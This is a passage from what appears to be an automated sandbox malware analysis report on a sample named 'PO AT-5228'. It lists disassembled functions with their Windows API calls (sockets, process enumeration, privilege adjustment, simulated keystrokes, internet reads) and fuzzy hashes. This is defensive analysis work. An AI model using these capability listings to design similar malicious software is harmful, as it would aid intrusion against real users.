WSAGetLastError.WSOCK32(00000000), ref: 00BB8CFC
closesocket.WSOCK32(00000000,00000000), ref: 00BB8D10

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: 8025cc7d954b1dca86e5e8ee4c72a6445fcf3472dd76fdcea0cf674bc406d78e
Instruction ID: 9c5f9f25ecdfe606819f1b709624a37cf774951199018dcfff775b8c650b28ab
Opcode Fuzzy Hash: 8025cc7d954b1dca86e5e8ee4c72a6445fcf3472dd76fdcea0cf674bc406d78e
Instruction Fuzzy Hash: 9521A0716002009FCB10AF68C985BBEB7E9EF49310F108199F916AB2D2CBB0AD45CB51

Function 00BA6532 Relevance: 9.1, APIs: 6, Instructions: 71processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 00BA6554
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00BA6564
Process32NextW.KERNEL32(00000000,0000022C), ref: 00BA6583
__wsplitpath.LIBCMT ref: 00BA65A7
_wcscat.LIBCMT ref: 00BA65BA
CloseHandle.KERNEL32(00000000,?,00000000), ref: 00BA65F9

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath_wcscat
String ID:
API String ID: 1605983538-0
Opcode ID: 99cf76ad92150c5f7fc352107173d951af54e48ee9c7c9f4eeae9ab5bff0b190
Instruction ID: 592bb7ca622c100a3ead99a18d2b1b58010940dd683f67d53fcbee8c8642f881
Opcode Fuzzy Hash: 99cf76ad92150c5f7fc352107173d951af54e48ee9c7c9f4eeae9ab5bff0b190
Instruction Fuzzy Hash: 9F2153B1904258ABDB10ABA4CC88BDDB7FCAB55300F5404E9E905E7141DBB19F85CB61

Function 00BB923B Relevance: 7.6, APIs: 5, Instructions: 146networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00BBA82C: inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 00BBA84E

socket.WSOCK32(00000002,00000002,00000011,?,?,?,00000000), ref: 00BB9296
WSAGetLastError.WSOCK32(00000000,00000000), ref: 00BB92B9

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ErrorLastinet_addrsocket
String ID:
API String ID: 4170576061-0
Opcode ID: 5e1acebaa0f4f3a9b111230d80ca3a4e9c2f31df4c427c6ac582d984e4f79d40
Instruction ID: 47201bf38e5121886102eaca03494c2b8641163d97008dc6393807f35c787a8c
Opcode Fuzzy Hash: 5e1acebaa0f4f3a9b111230d80ca3a4e9c2f31df4c427c6ac582d984e4f79d40
Instruction Fuzzy Hash: 16419370600204AFDB14AF68CC92E7E77EDEF44724F14859CF95AAB3D2DAB49D018B91

Function 00BAEB60 Relevance: 7.6, APIs: 5, Instructions: 125fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00BAEB8A
_wcscmp.LIBCMT ref: 00BAEBBA
_wcscmp.LIBCMT ref: 00BAEBCF
FindNextFileW.KERNEL32(00000000,?), ref: 00BAEBE0
FindClose.KERNEL32(00000000,00000001,00000000), ref: 00BAEC0E

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: 776f3de48990231b573b16bb653c5c33df7fae5e0c6d492db9020726cd5a4d4f
Instruction ID: 04d8921160c2817dde75554222f46c9c3c6d3ca30f2b32b230f1c2f0437cba3b
Opcode Fuzzy Hash: 776f3de48990231b573b16bb653c5c33df7fae5e0c6d492db9020726cd5a4d4f
Instruction Fuzzy Hash: FC41B1356043029FCB08DF28C4D1AA9B7E4FF4A324F10459DF96A8B3A1DB71E944CB51

Function 00BC8111 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00BC8160
IsWindowEnabled.USER32 ref: 00BC816E
GetForegroundWindow.USER32(?,?,00000001), ref: 00BC817B
IsIconic.USER32 ref: 00BC8189
IsZoomed.USER32 ref: 00BC8197

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 5d7049f2ef4b26bd49977a675e3d60c2f71d1afae2dc1cc5add254ab6bd25656
Instruction ID: 63c5ce325137e68f52579465abf3f5ac8a449841fab08656bc5d6c34332932be
Opcode Fuzzy Hash: 5d7049f2ef4b26bd49977a675e3d60c2f71d1afae2dc1cc5add254ab6bd25656
Instruction Fuzzy Hash: 1611B2313005106FE7215F26DC84F6F7BD8EF58761B0944ADF849EB241CF74D90286A4

Function 00B69B60 Relevance: 7.3, Strings: 5, Instructions: 1055COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00B69EA7
VUUU, xrefs: 00B69ED4
VUUU, xrefs: 00BEBE14
VUUU, xrefs: 00B69E95
ERCP, xrefs: 00B69C32

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID:
String ID: ERCP$VUUU$VUUU$VUUU$VUUU
API String ID: 0-1546025612
Opcode ID: 831355b37936a0775bac8a384fdc5f0b32363e4a0be35e243e1e6cae89bb66e9
Instruction ID: 6e94091f7ecc37b8bd4fb60a6a73474fd26d76bf5215eb374fcdbb9d181ca544
Opcode Fuzzy Hash: 831355b37936a0775bac8a384fdc5f0b32363e4a0be35e243e1e6cae89bb66e9
Instruction Fuzzy Hash: E7926C71A0025ACBDF24CF59C8907AEB7F1FB54314F2581EAE816AB280D7799D81CF91

Function 00B7E01E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00B7E014,74DF0AE0,00B7DEF1,00BFDC38,?,?), ref: 00B7E02C
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00B7E03E

Strings

GetNativeSystemInfo, xrefs: 00B7E038
kernel32.dll, xrefs: 00B7E027

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: ca6a4a7253bffc1542939d652d4bb23c7fed61aeeec8928136cefdd8ffa9d59b
Instruction ID: 854853465db5c15f9b1f300953951412f2399fdd963a79fc05e0611b5ad9185a
Opcode Fuzzy Hash: ca6a4a7253bffc1542939d652d4bb23c7fed61aeeec8928136cefdd8ffa9d59b
Instruction Fuzzy Hash: AED09E745007129ED7215B65E84975276E4EF06711F1884A9E4A5A2150DAF4D8808661

Function 00BA13CA Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 560stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 00BA13DC

Strings

(, xrefs: 00BA1422
|, xrefs: 00BA140C

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: d93b60cd83b500951764be9229e778ef4fb5062c7a3396a71211ab6c159d917a
Instruction ID: 51c0389857ebd390a6f869d6cf86f1f6b52eedb8f7d2c7f214d74bf027121b1d
Opcode Fuzzy Hash: d93b60cd83b500951764be9229e778ef4fb5062c7a3396a71211ab6c159d917a
Instruction Fuzzy Hash: D5321475A046059FCB68CF6DC48096AB7F0FF49320B15C9AEE49ADB3A1E770E941CB44

Function 00B7B11F Relevance: 4.9, APIs: 3, Instructions: 377COMMON

Download Yara Rule

APIs

Part of subcall function 00B7B34E: GetWindowLongW.USER32(?,000000EB), ref: 00B7B35F

DefDlgProcW.USER32(?,?,?,?,?), ref: 00B7B22F

Part of subcall function 00B7B55D: DefDlgProcW.USER32(?,00000020,?,00000000), ref: 00B7B5A5

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Proc$LongWindow
String ID:
API String ID: 2749884682-0
Opcode ID: 997278147d99cfeb8955a683d7f3373a5450cb0cb22ba8dd5f07ec9b732fb3cf
Instruction ID: 138a211812c2d65562acd21c73e7a9a970ab1033b0ad754ae93b2538e313b898
Opcode Fuzzy Hash: 997278147d99cfeb8955a683d7f3373a5450cb0cb22ba8dd5f07ec9b732fb3cf
Instruction Fuzzy Hash: ADA16760115005BADB287B295CC8FBF6DDDEB55344B14C1DEF83ADA682EB14DC01DA72

Function 00BB4EB5 Relevance: 4.7, APIs: 3, Instructions: 155networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00BB43BF,00000000), ref: 00BB4FA6
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00BB4FD2

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: a442b593a95b677f8f6722b6150f78ee616c12cc6204a6a97ea4b7baedd90a9a
Instruction ID: b047379f32bd4fd1707ae150415373af4fa00615515e7a6202a956ea66fe4fee
Opcode Fuzzy Hash: a442b593a95b677f8f6722b6150f78ee616c12cc6204a6a97ea4b7baedd90a9a
Instruction Fuzzy Hash: 1141B171504609BFEB219A84D881FFF77ECFB40754F1040AAF609A7182DBF19E4196A0

Function 00BAE1FD Relevance: 4.6, APIs: 3, Instructions: 72COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00BAE20D
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00BAE267
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 00BAE2B4

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 36c54a48ee947a7d5ff9be6fedb8ddd77232bc47a208de40cc542404d10501e8
Instruction ID: 93f0a2793f807f1a1f270af77677abf370d986b6428c16e8a05f879ea2ea0db4
Opcode Fuzzy Hash: 36c54a48ee947a7d5ff9be6fedb8ddd77232bc47a208de40cc542404d10501e8
Instruction Fuzzy Hash: 10213A75A00218EFDB00EFA5D885AADBBF8FF49310F0484A9E945AB351DB31D905CB50

Function 00B9B134 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00B7F4EA: std::exception::exception.LIBCMT ref: 00B7F51E
Part of subcall function 00B7F4EA: __CxxThrowException@8.LIBCMT ref: 00B7F533

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00B9B180
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00B9B1AD
GetLastError.KERNEL32 ref: 00B9B1BA

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: 9f21f0caf5e95bb20417957feef7b9bfb9a29d3cbbe836f5484e3fc12e35f1db
Instruction ID: 3ea0d817aadf95b28d2322a69ec609338a11f4188f8d68bf4df9de6d33438728
Opcode Fuzzy Hash: 9f21f0caf5e95bb20417957feef7b9bfb9a29d3cbbe836f5484e3fc12e35f1db
Instruction Fuzzy Hash: D611CEB2410205AFE718AF64EDC5D2BB7FDFF44310B20856EE05AA7241DBB0FC418A64

Function 00BA6685 Relevance: 4.6, APIs: 3, Instructions: 61fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00BA66AF
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,0000000C,?,00000000), ref: 00BA66EC
CloseHandle.KERNEL32(00000000,?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00BA66F5

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: dfd9c881b46fb977f32bd3c364bd90de128068ec9ab2b2f6d6cdda113d61f1df
Instruction ID: f3475b6f9ec052da5f2d03d8c044c4f062930cd58a70fa18b1dc0fe5c89c0818
Opcode Fuzzy Hash: dfd9c881b46fb977f32bd3c364bd90de128068ec9ab2b2f6d6cdda113d61f1df
Instruction Fuzzy Hash: 6311A1B2D11228BEE7118BA8DC85FAFBBFCEB09714F004596F901E7190C2B49E0487A5

Function 00BA71FA Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00BA7223
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00BA723A
FreeSid.ADVAPI32(?), ref: 00BA724A

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 5e485ce7cdf5b0877f3c6225645491e358f48475345bb660843d0f0a77b8665d
Instruction ID: 480f40cafe683d4a141c1c62c6eaa4ff95de28c1b4114b9593fa389816a65f70
Opcode Fuzzy Hash: 5e485ce7cdf5b0877f3c6225645491e358f48475345bb660843d0f0a77b8665d
Instruction Fuzzy Hash: 3DF01D76A44309BFDF04DFE4DD99AEEBBBCEF08301F104469A612E7591E6749A448B10

Function 00BAF56F Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00BAF599
FindClose.KERNEL32(00000000), ref: 00BAF5C9

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: e3b1b9a368d6f1d87851da05c017228be88d3acc0fe313705b575a42a7bb6503
Instruction ID: 2627d1b1802f562a1632b65609418bf3399012fd680e5cde35c23426b764c7c0
Opcode Fuzzy Hash: e3b1b9a368d6f1d87851da05c017228be88d3acc0fe313705b575a42a7bb6503
Instruction Fuzzy Hash: CC11C4316042009FDB10EF68D885A2EB7E9FF95324F00895EF8A9DB391CF70AD018B81

Function 00BACE7A Relevance: 3.0, APIs: 2, Instructions: 30windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00BBBE6A,?,?,00000000,?), ref: 00BACEA7
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00BBBE6A,?,?,00000000,?), ref: 00BACEB9

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 69e430145dfbf61508511a4d0b1f75df574b680cef7f6dc0c4e6db2ab8ee0468
Instruction ID: edca591faabf0cd9cd69384c35e25fc634423718cf3738900e646ebe2b10b86a
Opcode Fuzzy Hash: 69e430145dfbf61508511a4d0b1f75df574b680cef7f6dc0c4e6db2ab8ee0468
Instruction Fuzzy Hash: 17F08231104229EBDB10ABA4DC89FFA77ADFF09351F0081A5F915D6191D670AA40CBA1

Function 00BA411C Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00BA4153
keybd_event.USER32(?,75C0C0D0,?,00000000), ref: 00BA4166

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 60016db24eb7f0c88eec20b3bcf2beadd1401ddfa856fa50b5e7a88210d56101
Instruction ID: 7160300bc763a0794f5d7a13b954d9de730ebfbb2d4d1c48b460c2fc0bcfa8d6
Opcode Fuzzy Hash: 60016db24eb7f0c88eec20b3bcf2beadd1401ddfa856fa50b5e7a88210d56101
Instruction Fuzzy Hash: F9F06D7080438DAFDB058FA0C845BBE7FB0EF10305F008449F965AA191D7B986129FA0

Function 00B9AB84 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00B9ACC0), ref: 00B9AB99
CloseHandle.KERNEL32(?,?,00B9ACC0), ref: 00B9ABAB

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: dce243a35ac12cc4fd94096d53decd296668a4ef5770ec8a3547e48602985ec6
Instruction ID: 4e475b3aa6a30ed4b92ece451cb173dc8048360d23c872c4384c35f6b11070d3
Opcode Fuzzy Hash: dce243a35ac12cc4fd94096d53decd296668a4ef5770ec8a3547e48602985ec6
Instruction Fuzzy Hash: 63E0E671000511AFE7252F54EC05D7777EAEF04321710C869F45A86471DB625C90DB55

Function 00B881AC Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,0000000E,00B86DB3,-0000031A,?,?,00000001), ref: 00B881B1
